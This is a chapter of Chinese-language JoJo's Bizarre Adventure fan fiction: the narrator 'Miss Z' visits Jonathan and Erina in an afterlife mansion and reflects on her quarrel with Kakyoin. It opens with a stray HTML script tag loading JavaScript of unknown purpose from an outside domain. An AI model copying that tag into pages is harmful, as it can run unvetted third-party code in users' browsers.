<script src="https://img.zhaozhi.us/pc/pc.js?v=2022"/>
我并没有生花京院的气,只是麻烦的解释让我有些烦躁而已,我需要冷静一下。
其实我也能理解花京院的想法,乔瑟夫和承太郎从小就认识我,知道我是什么样的人。阿布德尔和乔瑟夫搭档,互相信任,所以阿布德尔对被乔瑟夫信任着的我也没有多余的想法。波鲁那雷夫目前还是个没心没肺的法国大甜心,不会想那么多的。而花京院就只有小时候见了我一面,真正认识我还是最近几天,他是最不了解我的一位了,所以怀疑我也是情有可原。
试问一个看不见替身,也没有替身能力的人,怎么可能那么精准地解决身为替身使者的敌人呢?
说到底还是我在他小时候多此一举了,但愿乔瑟夫给他们讲了我的故事之后,能重新认识我吧。
不过我还是需要冷静一下的,也为了让他好好想清楚吧,如果我在那里那些男士们想要安慰他的话,可能还会有点拘束。
我回到了荒木庄,究极生物们并不在这里,于是我跑去对面乔家大院了。乔纳森来这里这么久了,我也好久没去见见他了,我需要大乔大天使和艾琳娜大天使来治愈一下我。
怎么说呢,因为在上个宇宙,我的队长在某些方面和乔纳森挺相似的,都是非常可靠正直的人,所以我非常地敬重他,尽管小时候也挺皮的,不过我那位队长在小时候也不是后来那么伟光正,没差啦。
因为都是值得信任的人,所以我以前也会去找他聊聊天,来摆正自己的心态,平复好自己的内心。
我有个不太好的毛病,我的破坏欲其实还是挺强的。没死之前因为各种限制,我从来没有实施过,最多就是打打枕头发泄。后来穿越又开挂了,在没有人能制裁我的情况下,我为了满足破坏欲和发泄情绪,连星球都打爆过,更别说打人了。加上后来被某个坏东西影响了思想,我在宇宙的名声并不算特别好。
他们对我不是敬重,而是惧怕。
虽然过了那么久,我也收敛了不少,但我的威严还是在的,不然没点震慑力的话,我作为上个宇宙的宇宙守护者怎么守护宇宙。
不过来这里就不需要那么强的威严和震慑了,我是来度假的,不是来受罪的。
我感应了一下,那个会影响我思想的坏东西还在我体内汲取我的生命能量,安静如鸡不敢吱声,看来是被我威胁并且见识过我的无敌后不敢动别的念头了,毕竟它们六个坏东西加起来都不是我的对手。因为它的形态,它是会寄生在宿主体内吸收生命力的,这世上没有人能比我更合适了,而且留在宿主体内也不会那么容易丢失和被抢夺,所以我就一直留着它了。
也许以后遇到岸边露伴时,我还得动用它的能力,在天堂之门面前所有秘密都无所遁形,我可不能让他发现「穿越」这个秘密。也许作为漫画家他能轻易接受这个事实,但我觉得还是不能冒险。
况且说不定我本人原本没死前的世界,在其他宇宙也是本漫画呢。
我推开了乔家大院,丹尼朝我扑了过来,真是和以前一模一样,乔家大院也很像当初的乔斯达大宅,不过现在看起来更像古堡。我只在当初教了乔纳森这个乔家大院是什么玩意儿以及该怎么做后就走了,毕竟他的葬礼要安排很多事情,仅靠lisalisa和乔瑟夫还是会忙了点。
不过现在看来,他做得很不错嘛。
“z小姐!好久不见!”
乔纳森和艾琳娜过来拥抱我,在这个空间是可以变回年轻模样的,但如果是没有经历过的年龄段是没办法变那个年龄段的样子的。也就是说,如果乔纳森是和原著一样年纪轻轻就死在海上了,那他在这里是没办法变成老年人的样子的。
乔纳森和艾琳娜看起来是选择了刚结婚的那个模样,毕竟这是他们最美好的样子。
“抱歉,我应该多来看望你们的。”
“没关系的z小姐,这里毕竟是亡者的世界,你经常来的话可能会对身体有不好的影响。”
乔纳森还是一如既往地善解人意,明明知道我是无敌的,不会生病不会受伤更不会死,他却还是会把我当成普通人来对待,会担心我的身体。
“而且我们能看到你们的情况哟。”
艾琳娜抱着乔纳森的胳膊,有点小俏皮地对我眨了眨眼。
他们把我带回了房子里,和那栋乔斯达大宅没什么两样,只不过多了很多这个年代会有的东西,果然是会跟着现实世界的发展而变化的啊。
客厅摆着一台电视机,上面播放的是……星尘斗士?!绝了,在这里竟然能看动漫吗?我没想到的。
“我们能够通过电视机来查看你们的情况,但我们只能通过乔瑟夫或者承太郎的视角来看,应该只能从有血缘关系的人着手吧。”
“不过虽然是从他们的视角看的,但也不全是第一人称,有时候也是会跟着他们的行动而发生变化,真的非常神奇呢,看你们的经历简直在看电影一样。”
乔纳森和艾琳娜一唱一和地给我解释,似乎是很享受这里。电视机的这个设定还挺有意思的,就是不知道他们能不能看到替身。
“那你们能看到替身吗?”
“从乔瑟夫或者承太郎的视角能看到,但我猜如果他们本人过来放出替身,我们也是看不到的吧,毕竟我们不是替身使者。”
乔纳森他们对替身还挺了解的,看他们的操作乔家大院里的东西的熟练度,应该是很早就掌握了,对替身的了解程度大概是和乔瑟夫一样的吧。
我和他们聊了一会儿,艾琳娜才恍然想起去给我泡茶,我正好和乔纳森聊聊我的烦恼。我简直是白长了那么大年纪,别看我总是云淡风轻的,其实我很多事情都不知道怎么处理,尤其是人际方面。因为太强了,认识我的大多是以惧怕为主,所以我很多事情都可以轻易地解决。太容易解决了,就意味着我没有经历过挫折,没有经历过磨难,所以我没有成长。
“乔纳森,我觉得我好像很糟糕啊。”
“诶?”乔纳森愣了一下,没想到我会这么评价自己。无敌的外挂虽然能给我勇气和信心去解决问题,但我依旧不是个自信的人。“是因为和花京院先生的矛盾,让你产生了这样的想法吗?”
“……嗯……”我迟疑了一下,决定把我自己的情况和问题给乔纳森讲明白,“你也知道,我是活了很久的对吧?但是我还是不会处理人际关系,活了那么久我还是不知道怎么和人打交道,因为害怕搞砸,所以我一般都是顺着别人……但我好像还是搞砸了。”
“z小姐是不是没怎么和别人吵过架啊?”
乔纳森提出了关键问题,他还真猜对了,我的确没怎么和人吵过架。
首先是因为我的存在感,穿越之后更加薄弱,并且还能控制得更低,所以我有效避免了因为看我不顺眼而起的冲突。并且因为存在感低,我会被遗忘,被忽视,找不到我想不起我又怎么会有矛盾?
然后是我遇到的那些同伴,他们有的是特工有的是间谍,还有实体人工智能,察言观色和察觉微表情对他们来说很容易,加上我那时候简直是一个刚出学校的小毛头,所以他们能理解我的真实想法,虽然我活得比他们久,但他们比我成熟很多。
最后是我自己,我不是个主动热情的人,在人际关系中是处于被动地位的,态度总是[都行随便无所谓],所以我也不怎么会提意见。我也喜欢独自待着,但如果真的没有人主动过来与我交往,我可能真的不会有朋友——当然这是我猝死前的情况。
仔细想想,和我有过冲突的好像就是迪奥了,但好像是他一直在单方面生我的气,我一直没搞懂他的怒点。
我点了点头,乔纳森一脸果然如此。
“人与人之间只有经过冲突和碰撞才能更好地互相理解,但是理解不代表是赞同,比如我能理解迪奥的想法,但我不能苟同,所以我还是会阻止他。有冲突和矛盾不是什么坏事,只要去好好地解决就行了。”
“其实我觉得z小姐很不合群呢,以前总是在一边看着我们玩而不参与。”艾琳娜端着托盘出来了,上面还有一些点心,“抱歉听到你们的谈话了,但是z小姐有烦恼,我也可以帮忙的哦,没想到我们无敌的z小姐也会有烦恼啊。”
“我也是人类啊,虽然不是普通人类……”
艾琳娜掩嘴轻笑,端起红茶优雅地吹了吹:“我们看到了你那时候和花京院先生起冲突的全过程了,z小姐竟然会闹别扭,这还是第一次见。”
“是的,我一直觉得z小姐你好像什么都不在意,一点情绪也没有,像个木偶一样没什么生气。但是后来越来越生动了,表情也丰富了很多,我很高兴z小姐你有这样的变化,这样就更能明白z小姐的想法了。”
我低头捂住了脸,突然知道自己的问题出在哪儿了。我太随心所欲了,仗着自己的强大过于自由了,因为大家都顺着我,不管是迪奥还是乔家人,没有对我的能力和来历追根问底,所以我下意识地认为所有人都是这样。他们也好像觉得不管我展现出什么能力,都无比正常,再匪夷所思在我身上都是合理的。
没人提过,没人问过,似乎就成了我和其他人之间无形的默契。但花京院他并不知道,他从小就因为别人看不见绿之法皇而不和他们敞开心房交朋友。他可以信任刚刚认识的承太郎,不只是因为承太郎救了他,更重要的是他们看到的世界是同样的,他们同是替身使者。花京院跨过门槛说要一同前行,这是她为了友情而大胆迈出的第一步,然而由于我不是同类,所以他并没有完全信任我。
并且害怕我会伤害他的朋友,破坏他们的友谊。
对,是害怕,我在他面前毫不犹豫地杀过人,也展示过自己的强大,我是个可以随时且轻易夺走别人生命的人。这和花京院对迪奥的那种害怕是不同的,我一路上一直没什么存在感,但出手却总是及时又快速,也许在花京院看来,我就是一条蛰伏的毒蛇也说不定吧。
“……因为我什么都不说,他才不知道我的想法。我以为我不解释他会明白,他以为我不解释是因为有异心,我们的电波没有互相对上。不是他的问题,是我的问题,讨厌麻烦而不作解释,即使解释也是被迫的,所以我没能获得他的信任而翻车了。”
乔纳森和艾琳娜相视一笑,露出了「吾家有女初长成」的眼神。来找乔纳森果然是对的,不愧是和我队长一样类型的人。
临走之前,两人给了我一个拥抱,乔纳森还说如果我见到迪奥,让我帮他带一句话给迪奥。
“请让迪奥不要用我的身体做奇怪的事情。”
“……他只是天天裸着上身照镜子而已。”
“那就请他把衣服穿好。”
不知道乔纳森之后如果看到迪奥用他的身体穿上露背死库水和开裆裤会是什么想法。
————————————————————
经过大家的调解和安慰之后,花京院和z小姐都认识到了自己的问题。
大家没有谴责花京院,因为他并不了解z小姐,有过被dio用肉芽控制的先例,他警惕并不熟悉的z小姐并不过分,毕竟z小姐是他们之中,唯一不是替身使者的人。